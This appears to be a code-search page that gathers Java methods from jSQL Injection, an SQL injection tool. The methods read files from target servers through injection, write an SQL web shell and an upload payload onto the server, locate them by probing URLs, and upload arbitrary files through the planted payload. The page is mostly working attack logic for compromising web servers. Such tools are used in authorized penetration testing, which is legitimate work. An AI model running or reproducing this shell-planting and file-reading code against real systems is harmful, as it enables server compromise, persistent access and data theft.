use of com.jsql.model.bean.util.Request in project jsql-injection by ron190.
the class RessourceAccess method readFile.
/**
* Attempt to read files in parallel by their path from the website using injection.
* Reading file needs a FILE right on the server.
* The user can interrupt the process at any time.
* @param pathsFiles List of file paths to read
* @throws JSqlException when an error occurs during injection
* @throws InterruptedException if the current thread was interrupted while waiting
* @throws ExecutionException if the computation threw an exception
*/
public static void readFile(List<ItemList> pathsFiles) throws JSqlException, InterruptedException, ExecutionException {
if (!RessourceAccess.isReadingAllowed()) {
return;
}
int countFileFound = 0;
ExecutorService taskExecutor = Executors.newFixedThreadPool(10, new ThreadFactoryCallable("CallableReadFile"));
CompletionService<CallableFile> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
for (ItemList pathFile : pathsFiles) {
CallableFile callableFile = new CallableFile(pathFile.toString());
taskCompletionService.submit(callableFile);
RessourceAccess.callablesReadFile.add(callableFile);
}
List<String> duplicate = new ArrayList<>();
int submittedTasks = pathsFiles.size();
int tasksHandled;
for (tasksHandled = 0; tasksHandled < submittedTasks && !RessourceAccess.isSearchFileStopped; tasksHandled++) {
CallableFile currentCallable = taskCompletionService.take().get();
if (!"".equals(currentCallable.getSourceFile())) {
String name = currentCallable.getPathFile().substring(currentCallable.getPathFile().lastIndexOf('/') + 1, currentCallable.getPathFile().length());
String content = currentCallable.getSourceFile();
String path = currentCallable.getPathFile();
Request request = new Request();
request.setMessage(Interaction.CREATE_FILE_TAB);
request.setParameters(name, content, path);
MediatorModel.model().sendToViews(request);
if (!duplicate.contains(path.replace(name, ""))) {
LOGGER.info("Shell might be possible in folder " + path.replace(name, ""));
}
duplicate.add(path.replace(name, ""));
countFileFound++;
}
}
// Force ongoing suspendables to stop immediately
for (CallableFile callableReadFile : RessourceAccess.callablesReadFile) {
callableReadFile.getSuspendableReadFile().stop();
}
RessourceAccess.callablesReadFile.clear();
taskExecutor.shutdown();
taskExecutor.awaitTermination(5, TimeUnit.SECONDS);
RessourceAccess.isSearchFileStopped = false;
String result = "Found " + countFileFound + " file" + (countFileFound > 1 ? 's' : "") + " " + (tasksHandled != submittedTasks ? "of " + tasksHandled + " processed " : "") + "on " + submittedTasks + " files checked";
if (countFileFound > 0) {
LOGGER.debug(result);
} else {
LOGGER.warn(result);
}
Request request = new Request();
request.setMessage(Interaction.END_FILE_SEARCH);
MediatorModel.model().sendToViews(request);
}
use of com.jsql.model.bean.util.Request in project jsql-injection by ron190.
the class RessourceAccess method createSqlShell.
/**
* Create SQL shell on the server. Override user name and password eventually.
* @param pathShell Script to create on the server
* @param url URL for the script (used for url rewriting)
* @param username User name for current database
* @param password User password for current database
* @throws InterruptedException
* @throws InjectionFailureException
* @throws StoppedByUserSlidingException
*/
public static void createSqlShell(String pathShell, String urlShell, String username, String password) throws JSqlException, InterruptedException {
if (!RessourceAccess.isReadingAllowed()) {
return;
}
String sourceShellToInject = PropertiesUtil.getInstance().getProperties().getProperty("shell.sql").replace(DataAccess.LEAD_IN_SHELL, DataAccess.LEAD).replace(DataAccess.TRAIL_IN_SHELL, DataAccess.TRAIL);
String pathShellFixed = pathShell;
if (!pathShellFixed.matches(".*/$")) {
pathShellFixed += "/";
}
MediatorModel.model().injectWithoutIndex(MediatorModel.model().getVendor().instance().sqlTextIntoFile(sourceShellToInject, pathShellFixed + FILENAME_SQLSHELL));
String resultInjection;
String[] sourcePage = { "" };
try {
resultInjection = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlFileRead(pathShellFixed + FILENAME_SQLSHELL), sourcePage, false, 1, null);
if ("".equals(resultInjection)) {
throw new JSqlException("payload integrity verification: Empty payload");
}
} catch (JSqlException e) {
throw new JSqlException("injected payload does not match source", e);
}
if (!urlShell.isEmpty()) {
urlShell = urlShell.replaceAll("/*$", "") + "/";
}
String url = urlShell;
if ("".equals(url)) {
url = ConnectionUtil.getUrlBase();
}
if (resultInjection.indexOf(sourceShellToInject) > -1) {
LOGGER.debug("SQL payload created into \"" + pathShellFixed + FILENAME_SQLSHELL + "\"");
//
String urlWithoutProtocol = url.replaceAll("^https?://[^/]*", "");
String urlProtocol;
if ("/".equals(urlWithoutProtocol)) {
urlProtocol = url.replaceAll("/+$", "");
} else {
urlProtocol = url.replace(urlWithoutProtocol, "");
}
String urlWithoutFileName = urlWithoutProtocol.replaceAll("[^/]*$", "").replaceAll("/+", "/");
List<String> directoryNames = new ArrayList<>();
if (urlWithoutFileName.split("/").length == 0) {
directoryNames.add("/");
}
for (String directoryName : urlWithoutFileName.split("/")) {
directoryNames.add(directoryName + "/");
}
ExecutorService taskExecutor = Executors.newFixedThreadPool(10, new ThreadFactoryCallable("CallableCreateSqlShell"));
CompletionService<CallableHttpHead> taskCompletionService = new ExecutorCompletionService<>(taskExecutor);
StringBuilder urlPart = new StringBuilder();
for (String segment : directoryNames) {
urlPart.append(segment);
taskCompletionService.submit(new CallableHttpHead(urlProtocol + urlPart.toString() + FILENAME_SQLSHELL));
}
int submittedTasks = directoryNames.size() * 1;
int tasksHandled;
String urlSuccess = null;
for (tasksHandled = 0; tasksHandled < submittedTasks; tasksHandled++) {
try {
CallableHttpHead currentCallable = taskCompletionService.take().get();
if (currentCallable.isHttpResponseOk()) {
urlSuccess = currentCallable.getUrl();
if (!urlShell.isEmpty() && urlSuccess.replace(FILENAME_SQLSHELL, "").equals(urlShell) || urlSuccess.replace(FILENAME_SQLSHELL, "").equals(urlProtocol + urlWithoutFileName)) {
LOGGER.debug("Connection to payload found at expected location \"" + urlSuccess + "\"");
} else {
LOGGER.debug("Connection to payload found at unexpected location \"" + urlSuccess + "\"");
}
} else {
LOGGER.trace("Connection to payload not found at \"" + currentCallable.getUrl() + "\"");
}
} catch (InterruptedException | ExecutionException e) {
LOGGER.error("Interruption while checking SQL shell", e);
}
}
taskExecutor.shutdown();
taskExecutor.awaitTermination(5, TimeUnit.SECONDS);
if (urlSuccess != null) {
Request request = new Request();
request.setMessage(Interaction.CREATE_SQL_SHELL_TAB);
request.setParameters(pathShellFixed.replace(FILENAME_SQLSHELL, ""), urlSuccess, username, password);
MediatorModel.model().sendToViews(request);
} else {
LOGGER.warn("HTTP connection to SQL payload not found");
}
} else {
throw new JSqlException("Incorrect SQL payload integrity: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"));
}
}
use of com.jsql.model.bean.util.Request in project jsql-injection by ron190.
the class RessourceAccess method uploadFile.
/**
* Upload a file to the server.
* @param pathFile Remote path of the file to upload
* @param urlFile URL of uploaded file
* @param file File to upload
* @throws JSqlException
* @throws IOException
*/
public static void uploadFile(String pathFile, String urlFile, File file) throws JSqlException, IOException {
if (!RessourceAccess.isReadingAllowed()) {
return;
}
String sourceShellToInject = PropertiesUtil.getInstance().getProperties().getProperty("shell.upload").replace(DataAccess.LEAD_IN_SHELL, DataAccess.LEAD);
String pathShellFixed = pathFile;
if (!pathShellFixed.matches(".*/$")) {
pathShellFixed += "/";
}
MediatorModel.model().injectWithoutIndex(MediatorModel.model().getVendor().instance().sqlTextIntoFile("<" + DataAccess.LEAD + ">" + sourceShellToInject + "<" + DataAccess.TRAIL + ">", pathShellFixed + FILENAME_UPLOAD));
String[] sourcePage = { "" };
String sourceShellInjected;
try {
sourceShellInjected = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlFileRead(pathShellFixed + FILENAME_UPLOAD), sourcePage, false, 1, null);
if ("".equals(sourceShellInjected)) {
throw new JSqlException("Bad payload integrity: Empty payload");
}
} catch (JSqlException e) {
throw new JSqlException("Payload integrity verification failed: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"), e);
}
String urlFileFixed = urlFile;
if ("".equals(urlFileFixed)) {
urlFileFixed = ConnectionUtil.getUrlBase().substring(0, ConnectionUtil.getUrlBase().lastIndexOf('/') + 1);
}
if (sourceShellInjected.indexOf(sourceShellToInject) > -1) {
LOGGER.debug("Upload payload deployed at \"" + urlFileFixed + FILENAME_UPLOAD + "\" in \"" + pathShellFixed + FILENAME_UPLOAD + "\"");
String crLf = "\r\n";
URL urlUploadShell = new URL(urlFileFixed + "/" + FILENAME_UPLOAD);
URLConnection connection = urlUploadShell.openConnection();
connection.setDoOutput(true);
try (InputStream streamToUpload = new FileInputStream(file)) {
byte[] streamData = new byte[streamToUpload.available()];
if (streamToUpload.read(streamData) == -1) {
throw new JSqlException("Error reading the file");
}
String headerForm = "";
headerForm += "-----------------------------4664151417711" + crLf;
headerForm += "Content-Disposition: form-data; name=\"u\"; filename=\"" + file.getName() + "\"" + crLf;
headerForm += "Content-Type: binary/octet-stream" + crLf;
headerForm += crLf;
String headerFile = "";
headerFile += crLf + "-----------------------------4664151417711--" + crLf;
connection.setRequestProperty("Content-Type", "multipart/form-data; boundary=---------------------------4664151417711");
connection.setRequestProperty("Content-Length", String.valueOf(headerForm.length() + headerFile.length() + streamData.length));
try (OutputStream streamOutputFile = connection.getOutputStream()) {
streamOutputFile.write(headerForm.getBytes());
int index = 0;
int size = 1024;
do {
if (index + size > streamData.length) {
size = streamData.length - index;
}
streamOutputFile.write(streamData, index, size);
index += size;
} while (index < streamData.length);
streamOutputFile.write(headerFile.getBytes());
streamOutputFile.flush();
}
try (InputStream streamInputFile = connection.getInputStream()) {
char buff = 512;
int len;
byte[] data = new byte[buff];
StringBuilder result = new StringBuilder();
do {
len = streamInputFile.read(data);
if (len > 0) {
result.append(new String(data, 0, len));
}
} while (len > 0);
if (result.indexOf(DataAccess.LEAD + "y") > -1) {
LOGGER.debug("File \"" + file.getName() + "\" uploaded into \"" + pathShellFixed + "\"");
} else {
LOGGER.warn("Upload file \"" + file.getName() + "\" into \"" + pathShellFixed + "\" failed");
}
Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
msgHeader.put(Header.URL, urlFileFixed);
msgHeader.put(Header.POST, "");
msgHeader.put(Header.HEADER, "");
msgHeader.put(Header.RESPONSE, HeaderUtil.getHttpHeaders(connection));
msgHeader.put(Header.SOURCE, result.toString());
Request request = new Request();
request.setMessage(Interaction.MESSAGE_HEADER);
request.setParameters(msgHeader);
MediatorModel.model().sendToViews(request);
}
}
} else {
throw new JSqlException("Incorrect Upload payload integrity: " + sourcePage[0].trim().replaceAll("\\n", "\\\\\\n"));
}
Request request = new Request();
request.setMessage(Interaction.END_UPLOAD);
MediatorModel.model().sendToViews(request);
}
use of com.jsql.model.bean.util.Request in project jsql-injection by ron190.
the class RessourceAccess method isReadingAllowed.
/**
* Check if current user can read files.
* @return True if user can read file, false otherwise
* @throws JSqlException when an error occurs during injection
*/
public static boolean isReadingAllowed() throws JSqlException {
// Fix #41055: NullPointerException on getFile()
if (MediatorModel.model().getVendor().instance().getXmlModel().getResource().getFile() == null) {
LOGGER.warn("Reading file on " + MediatorModel.model().getVendor() + " is currently not supported");
return false;
}
String[] sourcePage = { "" };
String resultInjection = new SuspendableGetRows().run(MediatorModel.model().getVendor().instance().sqlPrivilegeTest(), sourcePage, false, 1, null);
if ("".equals(resultInjection)) {
MediatorModel.model().sendResponseFromSite("Can't read privilege", sourcePage[0].trim());
Request request = new Request();
request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
MediatorModel.model().sendToViews(request);
RessourceAccess.readingIsAllowed = false;
} else if ("false".equals(resultInjection)) {
LOGGER.warn("Privilege FILE is not granted to current user, files can't be read");
Request request = new Request();
request.setMessage(Interaction.MARK_FILE_SYSTEM_INVULNERABLE);
MediatorModel.model().sendToViews(request);
RessourceAccess.readingIsAllowed = false;
} else {
Request request = new Request();
request.setMessage(Interaction.MARK_FILE_SYSTEM_VULNERABLE);
MediatorModel.model().sendToViews(request);
RessourceAccess.readingIsAllowed = true;
}
// TODO optional
return RessourceAccess.readingIsAllowed;
}
use of com.jsql.model.bean.util.Request in project jsql-injection by ron190.
the class InjectionModel method inject.
/**
* Run a HTTP connection to the web server.
* @param newDataInjection SQL query
* @return source code of current page
*/
@Override
public String inject(String newDataInjection, boolean isUsingIndex, String metadataInjectionProcess) {
// Temporary url, we go from "select 1,2,3,4..." to "select 1,([complex query]),2...", but keep initial url
String urlInjection = this.mediatorUtils.getConnectionUtil().getUrlBase();
String dataInjection = StringUtils.SPACE + newDataInjection;
urlInjection = this.mediatorStrategy.buildURL(urlInjection, isUsingIndex, dataInjection);
urlInjection = StringUtil.clean(urlInjection.trim());
URL urlObject = null;
// TODO Keep only a single check
try {
urlObject = new URL(urlInjection);
} catch (MalformedURLException e) {
LOGGER.log(LogLevel.CONSOLE_ERROR, String.format("Incorrect Query Url: %s", e.getMessage()));
return StringUtils.EMPTY;
}
Map<Header, Object> msgHeader = new EnumMap<>(Header.class);
// TODO identique urlInjection == urlObject
urlObject = this.initializeQueryString(isUsingIndex, urlInjection, dataInjection, urlObject, msgHeader);
String pageSource = StringUtils.EMPTY;
// Define the connection
try {
var httpRequestBuilder = HttpRequest.newBuilder().uri(URI.create(urlObject.toString())).setHeader(HeaderUtil.CONTENT_TYPE_REQUEST, "text/plain").timeout(Duration.ofSeconds(15));
this.mediatorUtils.getCsrfUtil().addHeaderToken(httpRequestBuilder);
this.mediatorUtils.getConnectionUtil().setCustomUserAgent(httpRequestBuilder);
this.initializeHeader(isUsingIndex, dataInjection, httpRequestBuilder);
this.initializeRequest(isUsingIndex, dataInjection, httpRequestBuilder, msgHeader);
var httpRequest = httpRequestBuilder.build();
HttpResponse<String> response = this.getMediatorUtils().getConnectionUtil().getHttpClient().send(httpRequestBuilder.build(), BodyHandlers.ofString());
pageSource = response.body();
Map<String, String> headers = ConnectionUtil.getHeadersMap(response);
msgHeader.put(Header.RESPONSE, headers);
msgHeader.put(Header.HEADER, ConnectionUtil.getHeadersMap(httpRequest.headers()));
int sizeHeaders = headers.keySet().stream().map(key -> headers.get(key).length() + key.length()).mapToInt(Integer::intValue).sum();
float size = (float) (pageSource.length() + sizeHeaders) / 1024;
var decimalFormat = new DecimalFormat("0.000");
msgHeader.put(Header.PAGE_SIZE, decimalFormat.format(size));
if (this.mediatorUtils.getParameterUtil().isRequestSoap()) {
pageSource = StringUtil.fromHtml(pageSource);
}
msgHeader.put(Header.SOURCE, pageSource.replaceAll("(#){60,}", // Remove ranges of # created by calibration
"$1...").replaceAll("(jIyM){60,}", // Remove batch of chars created by Dios
"$1..."));
msgHeader.put(Header.METADATA_PROCESS, metadataInjectionProcess);
msgHeader.put(Header.METADATA_STRATEGY, this.mediatorStrategy.getMeta());
// Send data to Views
var request = new Request();
request.setMessage(Interaction.MESSAGE_HEADER);
request.setParameters(msgHeader);
this.sendToViews(request);
} catch (IOException e) {
LOGGER.log(LogLevel.CONSOLE_ERROR, String.format("Error during connection: %s", e.getMessage()));
} catch (InterruptedException e) {
LOGGER.log(LogLevel.CONSOLE_JAVA, e, e);
Thread.currentThread().interrupt();
}
// return the source code of the page
return pageSource;
}
Aggregations